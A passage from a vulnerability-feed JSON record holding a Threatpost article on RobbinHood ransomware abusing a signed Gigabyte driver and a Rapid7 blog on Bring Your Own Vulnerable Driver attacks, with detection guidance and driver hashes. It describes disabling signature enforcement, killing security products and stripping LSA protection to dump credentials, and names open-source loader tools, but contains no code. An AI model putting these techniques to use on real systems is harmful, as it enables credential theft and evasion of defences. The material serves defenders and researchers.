"https://packetstormsecurity.com/files/download/150894/CORE-2018-0007.txt"}], "threatpost": [{"lastseen": "2020-04-09T11:25:28", "description": "The operators behind the RobbinHood ransomware are using a vulnerable, legacy driver from Taiwan-based motherboard manufacturer Gigabyte in order to get around antivirus protections. The \u201cbring-your-own-bug\u201d tactic is likely to crop up in other attacks going forward, according to security analysts.\n\nAccording to research from Sophos, the driver has a known vulnerability ([CVE-2018-19320](<https://nvd.nist.gov/vuln/detail/CVE-2018-19320>)), and was discontinued in 2018 by the company. However, the Verisign certificate used to digitally sign the driver has not been revoked, so the signature remains valid.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe adversaries deployed a legitimate, digitally signed hardware driver in order to delete security products from the targeted computers just prior to performing the destructive file encryption portion of the attack,\u201d the researchers explained, in [an analysis](<https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/>) posted late last week.\n\n## Bring Your Own Vulnerability\n\nRobbinHood ransomware is best-known for being the culprit behind the encryption attack [on the City of Baltimore](<https://threatpost.com/ransomware-a-persistent-scourge-requiring-corporate-action-now/145731/>) in 2019. The threat actors now have a new tactic.\n\nSpecifically, they\u2019re updating the Windows kernel in-memory with the Gigabyte driver, according to the research \u2013 and the kernel accepts it as a \u201cpatch\u201d thanks to the signed certificate. Once that\u2019s loaded, they can then exploit that driver using the known vulnerability in order to load their own, unsigned, malicious driver.\n\nUsing the Gigabyte driver saves the attackers time and headaches, Sophos noted.\n\n\u201c64-bit Windows\u2026only allows drivers to be loaded that have been properly signed by both the manufacturer and Microsoft,\u201d according to the analysis. \u201cThe malware authors did not bother to sign their malicious driver as it involves purchasing a certificate. Also, a purchased certificate can be revoked by the certificate authority.\u201d\n\nThe properly signed Gigabyte driver on the other hand will be easily accepted by Windows. And it just so happens to contain a privilege-escalation vulnerability as it allows reading and writing of arbitrary memory.\n\n\u201cThe malware authors abuse this vulnerability in order to (temporarily) disable driver signature enforcement in Windows \u2013 on-the-fly, in kernel memory. [They do this] by changing a single variable (a single byte) that lives in kernel space\u2026.Once driver signature enforcement is disabled, the attackers are able to load their unsigned malicious driver,\u201d said researchers.\n\nThat second driver is tasked with defanging security applications from the kernel space. It \u201cgoes to great lengths to kill processes and files belonging to endpoint-security products, bypassing tamper protection, to enable the ransomware to attack without interference,\u201d researchers explained.\n\n## The Kernel Subversion\n\nDuring the attack, the cybercriminals are subverting a setting in kernel memory on Windows 7, Windows 8 and Windows 10. To do this, the RobbinHood malware makes use of a process called STEEL.EXE, which in turn uses several different files to carry out its task \u2013 all of which are extracted to the Windows Temp folder during the initial infection.\n\nFirst, the STEEL.EXE application deploys ROBNR.EXE. This is the application that drops and installs both the vulnerable Gigabyte driver (GDRV.SYS) but also the second, malicious driver (RBNL.SYS). After that, STEEL.EXE reads a text file, named PLIST.TXT, for further instructions.\n\nPLIST.TXT contains a list of processes and their associated files that the malicious driver is tasked with destroying, researchers said; and because the text file is not embedded in STEEL.EXE, it may be tailored to the victim\u2019s environment.\n\nThe malicious driver has various ways to delete files, and it runs all of them in sequence to cover all the bases, according to the firm.\n\n\u201cTo delete files that are in-use, the malicious driver issues an I/O Request Packet (or IRP, a low-level message passed between device drivers) directly on the NTFS.SYS storage device,\u201d according to the writeup. \u201cBy clearing the ImageSectionObject and DataSectionObject pointers, the storage device assumes the files are not in-use and the file is safely deleted, even when the file is still running as a process.\u201d\n\nAfter the file-deletion process is complete, the malicious driver ends the STEEL.EXE process, and the ransomware portion of the malware is free to encrypt files without being hindered by security products.\n\n## An Attack with Staying Power\n\nKilling such security processes from kernel mode offers plenty of upside for the attackers, Sophos noted \u2014 and as such, it\u2019s a technique that\u2019s likely to show up in other campaigns.\n\n\u201cEndpoint protection processes that rely on object handle filtering for their tamper protection cannot prevent a kernel mode termination of processes or deletion of files,\u201d the researchers wrote. \u201cThe process handles opened by the malicious driver are kernel handles, and kernel handles cannot be filtered. So, the malicious kernel driver can kill these processes without interference of endpoint security controls.\u201d\n\nGoing forward, researchers noted that the technique can be replicated using a range of buggy drivers, as long as they allow arbitrary read/write in kernel.\n\n\u201cEven though the attackers are using the GDRV.SYS driver to do this today, there\u2019s no reason they will continue to use it if it becomes untenable to do so,\u201d they wrote. \u201cThere are many other vulnerable drivers (with a similar vulnerability) in addition to the Gigabyte driver that these or other attackers may choose to abuse later, such as ones from VirtualBox (CVE-2008-3431), Novell (CVE-2013-3956), CPU-Z (CVE-2017-15302), or ASUS (CVE-2018-18537). But in these attacks, we\u2019ve only seen the Gigabyte driver being abused in this way.\u201d\n\n**_Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us _**[**_Wednesday, Feb. 19 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)**_ when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives._**\n", "cvss3": {}, "published": "2020-02-10T21:07:34", "type": "threatpost", "title": "BYO-Bug Tactic Attacks Windows Kernel with Outdated Driver", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2008-3431", "CVE-2013-3956", "CVE-2017-15302", "CVE-2018-18537", "CVE-2018-19320"], "modified": "2020-02-10T21:07:34", "id": "THREATPOST:137C8CB9F885748E77D33BCEE0C8AEB8", "href": "https://threatpost.com/byo-bug-windows-kernel-outdated-driver/152762/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2021-12-13T15:03:52", "description": "\n\n_\"People that write Ring 0 code and write it badly are a danger to society.\" _\\- [_Mickey Shkatov_](<https://www.youtube.com/watch?v=tzWq5iUiKKg&t=2796s>)\n\nThere is no security boundary between an administrator and the Windows kernel, according to the [Microsoft Security Servicing Criteria for Windows](<https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria>). In our analysis of [CVE-2021-21551](<https://attackerkb.com/topics/zAHZGAFaQX/cve-2021-21551>), a write-what-where vulnerability (see [CWE-123](<https://cwe.mitre.org/data/definitions/123.html>)) in a Dell driver, we found that Dell\u2019s update didn\u2019t fix the write-what-where condition but only limited access to administrative users. According to Microsoft\u2019s definition of security boundaries, Dell\u2019s fix removed the security issue. However, the partially fixed driver can still help attackers.\n\nThere\u2019s an attack technique called [Bring Your Own Vulnerable Driver](<https://attack.mitre.org/techniques/T1068/>) (BYOVD). In this attack, an adversary with administrative privileges installs a legitimately signed driver on the victim system. The legitimate driver has a vulnerability that the attacker exploits to gain ring 0 access. Access to ring 0 allows the attacker to subvert or disable security mechanisms and allows them to hide deeper in the system.\n\n## Known usage in the wild\n\nBYOVD is a common technique used by advanced adversaries and opportunistic attackers alike. To illustrate this, the following table is a non-exhaustive list of well-known advisories/malware that use the BYOVD tactic, the associated vulnerable driver, and the associated vulnerability where applicable or known.\n\nYear Published | Adversary/Malware | Driver Name | Driver Creator | CVE ID \n---|---|---|---|--- \n2021 | [Candiru](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>) | [physmem.sys](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>) | Hilscher | N/A \n2021 | [Iron Tiger](<https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html>) | [procexp152.sys](<https://www.virustotal.com/gui/file/41cceace9751dce2b6ecaedc9a2d374fbb6458cf93b00a1dcd634ad0bc54ef89/detection>) | [Process Explorer](<https://www.virustotal.com/gui/file/41cceace9751dce2b6ecaedc9a2d374fbb6458cf93b00a1dcd634ad0bc54ef89/detection>) | N/A \n2021 | Iron Tiger | [cpuz141.sys](<https://www.virustotal.com/gui/file/ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d/detection>) | CPUID CPU-Z | [CVE-2017-15303](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15303>) \n2021 | [GhostEmperor](<https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/>) | dbk64.sys | [CheatEngine](<https://github.com/cheat-engine/cheat-engine>) | N/A \n2021 | [ZINC](<https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/>) | [viraglt64.sys](<https://www.virustotal.com/gui/file/58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495/detection>) | Vir.IT eXplorer | [CVE-2017-16238](<https://www.greyhathacker.net/?p=990>) \n2021 | [Various Cryptominers using XMRig](<https://www.splunk.com/en_us/blog/security/threat-advisory-telegram-crypto-botnet-strt-ta01.html>) | [winring00x64.sys](<https://www.virustotal.com/gui/file/11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5/detection>) | [OpenLibSys](<https://openlibsys.org/manual/WhatIsWinRing0.html>) | N/A \n2021 | [TunnelSnake](<https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/>) | [vboxdrv.sys](<https://www.virustotal.com/gui/file/cf3a7d4285d65bf8688215407bce1b51d7c6b22497f09021f0fce31cbeb78986/community>) | VirtualBox | [CVE-2008-3431](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3431>) \n2020 | [RobbinHood](<https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/>) | [gdrv.sys](<https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/detection>) | Gigabyte | [CVE-2018-19320](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19320>) \n2020 | [Trickbot](<https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/>) | rwdrv.sys | [RWEverything](<http://rweverything.com/>) | N/A \n2020 | [InvisiMole](<https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf>) | [speedfan.sys](<https://www.virustotal.com/gui/file/22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c/detection>) | Alfredo Milani Comparetti Speedfan | [CVE-2007-5633](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5633>) \n2020 | [ZeroCleare](<https://www.ibm.com/downloads/cas/OAJ4VZNJ?_ga=2.96096539.627987512.1575555410-587510162.1575555410>) | vboxdrv.sys | VirtualBox | Unclear \n2020 | [Winnti Group](<https://quointelligence.eu/2020/04/winnti-group-insights-from-the-past/>) | vboxdrv.sys | VirtualBox | CVE-2008-3431 \n2020 | [AcidBox](<https://unit42.paloaltonetworks.com/acidbox-rare-malware/>) | vboxdrv.sys | VirtualBox | Unclear \n2020 | [Dustman](<https://blogs.vmware.com/security/2020/01/threat-analysis-unit-tau-technical-report-the-prospect-of-iranian-cyber-retaliation.html>) | vboxdrv.sys | VirtualBox | CVE-2008-3431 \n2019 | [Doppelpaymer](<https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/>) | [kprocesshacker.sys](<https://www.virustotal.com/gui/file/70211a3f90376bbc61f49c22a63075d1d4ddd53f0aefa976216c46e6ba39a9f4/detection>) | [Process Hacker](<https://processhacker.sourceforge.io/>) | N/A \n2018 | [LoJax](<https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf>) | rwdrv.sys | RWEverything | N/A \n2018 | [Slingshot](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf>) | [sandra.sys](<https://www.virustotal.com/gui/file/1aaf4c1e3cb6774857e2eef27c17e68dc1ae577112e4769665f516c2e8c4e27b>) | SiSoftware Sandra | [CVE-2010-1592](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1592>) \n2018 | Slingshot | elbycdio.sys | Elaborate Bytes | [CVE-2009-0824](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0824>) \n2018 | Slingshot | speedfan.sys | Alfredo Milani Comparetti Speedfan | CVE-2007-5633 \n2018 | Slingshot | goad.sys | ?? | Unclear \n2017 | [The Lamberts](<https://securelist.com/unraveling-the-lamberts-toolkit/77990/>) | sandra.sys | SiSoftware Sandra | CVE-2010-1592 \n2016 | [Remsec](<https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-3.html?view=sidebar>) | aswsnx.sys | Avast! | Unclear \n2016 | Remsec | sandbox.sys | Agnitum Output | Unclear \n2015 | [Equation Group](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf>) | elbycdio.sys | CloneCD | [CVE-2009-0824](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0824>) \n2015 | [Derusbi](<https://www.sekoia.fr/blog/windows-driver-signing-bypass-by-derusbi/>) | [nicm.sys](<https://www.virustotal.com/gui/file/e6056443537d4d2314dabca1b9168f1eaaf17a14eb41f6f5741b6b82b3119790>), [nscm.sys](<https://www.virustotal.com/gui/file/76660e91f1ff3cb89630df5af4fe09de6098d09baa66b1a130c89c3c5edd5b22/detection>), [ncpl.sys](<https://www.virustotal.com/gui/file/6c7120e40fc850e4715058b233f5ad4527d1084a909114fd6a36b7b7573c4a44/detection>) | Novell | [CVE-2013-3956](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3956>) \n2014 | [Turla](<https://www.virusbulletin.com/virusbulletin/2014/05/anatomy-turla-exploits/>) | vboxdrv.sys | VirtualBox | CVE-2008-3431 \n2012 | [Shamoon](<https://securelist.com/shamoon-the-wiper-further-details-part-ii/57784/>) | elrawdsk.sys | Eldos Rawdisk | N/A \n \nWe believe that attacks or exploits that are _actually_ used in the wild are, practically by definition, worthwhile for attackers. The table above illustrates that BYOVD **is** a valuable technique. Given these bad drivers' wide use in the wild, it would be beneficial for the security community to identify exploitable drivers and minimize or block their use.\n\n## Use cases\n\nThose unfamiliar with BYOVD are probably wondering _why_ these attackers are doing this. By far, the number one reason adversaries are using BYOVD is to bypass Windows [Driver Signature Enforcement](<https://docs.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later-#signing-requirements-by-version>) (DSE). DSE ensures that only signed kernel drivers can be loaded. By installing and exploiting a vulnerable driver, attackers can load their own unsigned malicious drivers.\n\nThere are a number of open-source exploits that demonstrate loading unsigned drivers via BYOVD. These four are some of the most well-known:\n\n * [Stryker](<https://github.com/hfiref0x/Stryker>) (using cpuz141.sys with CVE-2017-15303 and process explorer)\n * [DSEFix](<https://github.com/hfiref0x/DSEFix>) (using CVE-2008-3841)\n * [TDL](<https://github.com/hfiref0x/TDL>) (using CVE-2008-3841)\n * [KDU](<https://github.com/hfiref0x/KDU>) (using multiple vulnerabilities including [CVE-2015-2291](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2291>), CVE-2018-19320, [CVE-2019-18845](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18845>), [CVE-2019-16098](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16098>), and [CVE-2019-8372](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8372>))\n\nEach of these tools is authored by the same individual, [hfiref0x](<https://github.com/hfiref0x>). Stryker, DSEFix, and TDL are all deprecated or in read-only mode. Notably Stryker and DSEFix run afoul of [PatchGuard](<https://en.wikipedia.org/wiki/Kernel_Patch_Protection>) and are no longer suitable for most situations. KDU, a tool that supports more than 14 different vulnerable drivers as the \u201cprovider,\u201d is the unsigned driver loader of choice.\n\nOnce the attacker has loaded their unsigned driver into the kernel, they can accomplish a wide variety of tasks they wouldn\u2019t be able to otherwise. Some obvious examples include [unhooking EDR callbacks](<https://web.archive.org/web/20200326040826/http://deniable.org/windows/windows-callbacks>) or[ hiding exploitation](<https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/>)/[rootkit artifacts](<https://github.com/zerosum0x0/puppetstrings>). The attacker can write themselves a[ UEFI rootkit](<https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/>). Or just [overwrite all data](<https://www.lastwatchdog.com/wp/wp-content/uploads/Saudi-Arabia-Dustman-report.pdf>) (resulting in BSoD). Or [inject code](<https://github.com/RedSection/OffensivePH>) into other processes. \n\nThe Dell drivers discussed below should be able to facilitate these types of attacks. [Connor McGarr](<https://twitter.com/33y0re>) [demonstrated](<https://connormcgarr.github.io/cve-2020-21551-sploit/>) Dell\u2019s dbutil_2_3.sys (which is vulnerable to [CVE-2021-21551](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21551>)) can be used to execute attacker code in kernel mode. Because the write-what-where condition persists in the follow-on drivers, dbutildrv2.sys 2.5 and 2.7, Dell has delivered three unique signed drivers that can execute attacker code in kernel mode.\n\nThe previously mentioned attacks largely focused on executing code in kernel mode. However, BYOVD also enables a simpler data-oriented attack that allows the attacker to subvert [LSA protection](<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection>).\n\nLSA protection prevents non-protected processes from reading the memory of, or injecting code into, Windows' Local Security Authority Subsystem Service (lsass.exe). That means tools like [Mimikatz](<https://attack.mitre.org/software/S0002/>) can\u2019t dump the memory contents of lsass.exe in order to retrieve Windows account credentials. However, an attacker with ring 0 access can reach into the lsass.exe EPROCESS struct and simply mask out the LSA protection. Once masked out, the attacker is free to dump lsass.exe\u2019s memory. There are a couple of good open-source implementations of this: [mimidrv](<https://github.com/gentilkiwi/mimikatz/blob/master/mimidrv/mimidrv.c>) (a signed driver that is part of mimikatz) and [PPLKiller](<https://github.com/RedCursorSecurityConsulting/PPLKiller>) (uses RTCore64.sys).\n\n### Exploitation using the Dell drivers\n\nWe\u2019ve developed a Metasploit module that implements the LSA protection attack using the new Dell drivers (dbutildrv2.sys 2.5 and 2.7). An attacker with escalated privileges can use the module to enable or disable process protection on arbitrary PID. The following proof-of-concept video demonstrates unprotecting _lsass.exe_ and dumping memory from metasploit.\n\n\n\nThe Dell drivers are especially valuable because they are compatible with the [newest signing requirements issued](<https://docs.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later->) by Microsoft.\n\n\n\nWhile old drivers like vboxdrv.sys / CVE-2008-3431 are finally becoming obsolete \u2014 13 years is a pretty good run for any vulnerability \u2014 the Dell drivers are appearing in time to take their place. And the likelihood of the Dell drivers being blacklisted is low. The drivers are used for updating firmware across a large number of products. Preventing users from updating their computers\u2019 firmware via driver blacklist is a non-starter. \n\nWhile conducting this research, Rapid7 did reach out to Dell about this issue. They stated the following:\n\n> After careful consideration with the product team, we have categorized this issue as a weakness and not a vulnerability due to the privilege level required to carry out an attack. This is in alignment with the guidance provided in the Windows Driver Model. We are not planning on releasing a security advisory or issuing a CVE on this.\n\n### Other exploitation in the wild\n\nOf course, we are not the first to use the Dell drivers in a malicious manner. As we noted in our [AttackerKB analysis](<https://attackerkb.com/assessments/12d7b263-3684-4442-812e-dc30b93def93>), dbutil_2_3.sys can be found associated with [malware](<https://www.virustotal.com/gui/file/0233c0103641d89ba9b33dd54fba83df0920fc7e9f0161112c3ab9ba2525082e/relations>) on VirusTotal. The newer versions of the driver, dbutildrv2.sys version [2.5](<https://www.virustotal.com/gui/file/2e6b339597a89e875f175023ed952aaac64e9d20d457bbc07acf1586e7fe2df8>) and [2.7](<https://www.virustotal.com/gui/file/71fe5af0f1564dc187eea8d59c0fbc897712afa07d18316d2080330ba17cf009/detection>), haven\u2019t appeared to be used maliciously yet. However, we do note a fair amount of other activity associated with BYOVD-related drivers that haven\u2019t yet been mentioned in this write up:\n\n * [asrdrv101.sys](<https://www.virustotal.com/gui/file/f40435488389b4fb3b945ca21a8325a51e1b5f80f045ab019748d0ec66056a8b/relations>) (CVE-2018-1071[0-2]?)\n * [asrdrv102.sys](<https://www.virustotal.com/gui/file/71c6b55e10374f78acea3d07488ea3e3d053c64a0f432d463ac9b4f46af9d46b/relations>) (CVE-2018-1071[0-2]?)\n * [ucorew64.sys](<https://www.virustotal.com/gui/file/0d49b4a3b7a5fb9ffeb3b807d27075bbe5c73682516210210d0ed80e265a11be/relations>)\n * [piddrv64.sys](<https://www.virustotal.com/gui/file/659c5e08ff97afd6815eb5c3220196e24aac6ec6a4366fdc496bd77fadd24a24/relations>)\n * [atillk64.sys](<https://www.virustotal.com/gui/file/007169e4875a0dd95870e063c72883c0a229ce4f2ad41a19e9533a8bafe379ed/relations>) ([CVE-2019-7246](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7246>))\n\nThe point is that this is a fairly active and perhaps under-reported technique. It seems only the most well-known vulnerable drivers are flagged by AV. Even a well-known driver like the gdrv.sys isn\u2019t flagged.\n\nvboxdrv.sys vs. gdrive.sys\n\nAt what point should these legitimate drivers be flagged by AV? I posit that once a driver is distributed via Discord, it might be time to start flagging it as badware.\n\n\n\n## Detection and mitigation guidance\n\nPerhaps the best way to protect your systems is to utilize [Microsoft\u2019s driver block rules](<https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules>). The list is full of known bad drivers and, if used correctly, will allow you to block the driver from being loaded. Of course, this only protects you from known vulnerable drivers that Microsoft adds to this list, but it\u2019s better than nothing. The Dell drivers are not currently in the list, but Dell has indicated they are working with Microsoft to add dbutil_2_3.sys. However, as discussed earlier, the newer versions are unlikely to ever get added. Detecting the Dell drivers through your preferred EDR solution might be an alternative solution. The SHA-1 hashes are:\n\n| \n---|--- \ndbutil_2_3.sys | c948ae14761095e4d76b55d9de86412258be7afd \ndbutildrv2.sys (2.5) | 90a76945fd2fa45fab2b7bcfdaf6563595f94891 \ndbutildrv2.sys (2.7) | b03b1996a40bfea72e4584b82f6b845c503a9748 \n \nIf you are able to enable [Hypervisor-Protected Code Integrity](<https://docs.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard>) (HVCI) then you should absolutely do so. And, of course, you should have secure boot enabled at the very least.\n\nWe can all try to improve the Windows driver ecosystem by following Microsoft [guidance](<https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules>) on potentially dangerous drivers. Specifically, we can help by submitting drivers with vulnerabilities to the [Microsoft Security Intelligence Driver Submission page](<https://www.microsoft.com/en-us/wdsi/driversubmission>) for security analysis and by submitting block list suggestions to [Microsoft Security Intelligence](<https://www.microsoft.com/en-us/wdsi>).\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2021-12-13T14:00:00", "type": "rapid7blog", "title": "Driver-Based Attacks: Past and Present", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-5633", "CVE-2008-3431", "CVE-2008-3841", "CVE-2009-0824", "CVE-2010-1592", "CVE-2013-3956", "CVE-2015-2291", "CVE-2017-15303", "CVE-2017-16238", "CVE-2018-1071", "CVE-2018-19320", "CVE-2019-16098", "CVE-2019-18845", "CVE-2019-7246", "CVE-2019-8372", "CVE-2020-21551", "CVE-2021-21551"], "modified": "2021-12-13T14:00:00", "id": "RAPID7BLOG:A5CDE39BFE09AD378AB425B9CB947FC8", "href": "https://blog.rapid7.com/2021/12/13/driver-based-attacks-past-and-present/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}]}
